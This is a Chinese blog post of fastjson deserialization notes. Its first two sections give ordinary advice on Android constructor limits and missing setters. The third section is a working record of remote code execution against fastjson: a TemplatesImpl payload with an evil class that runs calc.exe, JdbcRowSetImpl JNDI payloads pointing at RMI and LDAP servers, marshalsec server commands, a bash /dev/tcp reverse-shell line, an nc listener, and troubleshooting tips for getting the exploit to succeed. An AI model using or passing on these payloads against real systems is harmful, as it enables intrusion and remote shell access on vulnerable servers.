fastjson反序列化踩坑记录

适用版本:
fastjson:1.2.71
fastjson:1.1.72.android

 

一、JavaBeanInfo build 5XX行:"default constructor not found. " + clazz
fastjson反序列化过程参考:https://www.cnblogs.com/Raiden-xin/p/12681577.html

发现于安卓环境,出于保证对象初始化时某属性必须赋值的目的,只提供了有参构造函数;非android运行环境测试正常。
fastjson通用版本的有参构造函数反序列化依赖于ASMUtils获取构造函数传入的形参名称、进而去json串中查找对应名称的字段来赋值;由于java和android虚拟机不同,生成的字节码格式有差异,ASMUtils.lookupParameterNames判断了是否为安卓环境,若是直接返回空数组,导致有参构造函数不可用。
fastjson安卓版本必须要求默认构造函数+setter方法反序列化。

注:构造函数是否为public并不影响,调用时会setAccessible。

启示:遵循JavaBean规范,提供默认公用无参构造函数,bean和模型分离。

 

二、没有setter方法则属性值为null:高版本未设置setter方法会找不到FieldDeserializer

JavaBeanInfo build 515行 会先查找setter方法、根据属性名称反射拿到Field,在620行new出FieldInfo、加入fieldList。
720行收集getter方法,判断是否是集合或者map,不会建立FieldInfo对象。

JavaBeanInfo的FieldInfo[]在没有JsonField注解时基本只由setter方法决定,
FieldDeserializer基于JavaBeanInfo建立,
JavaBeanDeserializer:高版本默认构造器生成对象后不走FieldInfo,通过FieldDeserializer-DefaultFieldDeserializer进行属性赋值

启示:遵循JavaBean规范,提供声明属性的公用setter、getter方法,bean和模型分离。

 

三、fastjson<1.2.70反序列化安全漏洞:RCE
背景随便查一下,一大片一大片满是的。。
反序列化黑名单位置:com.alibaba.fastjson.parser.ParserConfig.denyList(值由原来的全路径改为hash值)
<1.2.70版本的利用方式尚未公布,公众号上已有人提供了思路。以下只大致记录下自己验证过的漏洞利用过程,分别测试了运行计算器和反弹shell:

【初版 现被黑名单封堵】

Exploit:
ParserConfig config = ParserConfig.global;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
String evilClassPath="D:\\workspace\\...\\poc.class";


String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\""+evilCode+"\"],‘_name‘:‘a.b‘,‘_tfactory‘:{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

 

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class poc extends AbstractTranslet {

public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
namesArray=new String[0];
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

}

【<=1.2.47版本漏洞 构*序列化对象缓存绕过黑名单验证+JNDI注入】

环境条件:
jmi:需要jdk8 121以下(一说113)
ldap:需要jdk8 182以下(一说191)


#rmi

#创建服务器
Registry registry = LocateRegistry.createRegistry(1099);
System.setProperty("java.rmi.server.hostname","192.168.10.109");
String remote_class_server = "http://192.168.10.109/";
Reference reference = new Reference("Exploit", "xxx.Exploit", remote_class_server);
//reference的factory class参数指向了一个外部Web服务的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("poc", referenceWrapper);

#rmi触发接口入参

{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.10.109/poc", "autoCommit":true } }


#ldap

#Exploit中反弹shell语句
bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

#创建服务器

新建一个testfastjson工程

(保留位置)
#ldap触发接口入参

{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.10.109:xxxx/Exploit", "autoCommit":true } }


攻击方部署

(1)搭建ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.10.109#Exploit 1389

java -cp testfastjson-0.0.1-SNAPSHOT-all.jar xxx.testfastjson.LdapServer http://192.168.10.109#Exploit

注:marshalsec是一个专门复现、验证漏洞集合的工具,但我在测试中并未成功,只好参考marshalsec的源码搭建了简易的ldap服务器

(2)web服务支持文件下载

提供Exploit下载url

(3)攻击机等待反弹shell
nc -lvvp xxxx

原理是远程通过url加载工厂类,运行其中构造函数/重写的方法。

坑点记录:
1、最关键的是javaCodeBase,后加/
2、Exploit如果有包结构,一定要放到jar里边,相应的在javaCodeBase后边添加jar路径,否则报java.lang.NoClassDefFoundError(wrong name:xxx)
3、注意JDK版本,高版本中com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

延伸:
【关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记:直接返回从javaSerializedData属性中获取的属性值】
https://www.cnblogs.com/tr1ple/p/12335098.html

【如何绕过高版本JDK的限制进行JNDI注入:利用本地Class作为Reference Factory】
https://www.freebuf.com/column/207439.html

fastjson反序列化踩坑记录

上一篇:5年前端经验小伙伴教你纯css3实现饼状图


下一篇:HDU 1022 Train Problem I(栈模拟)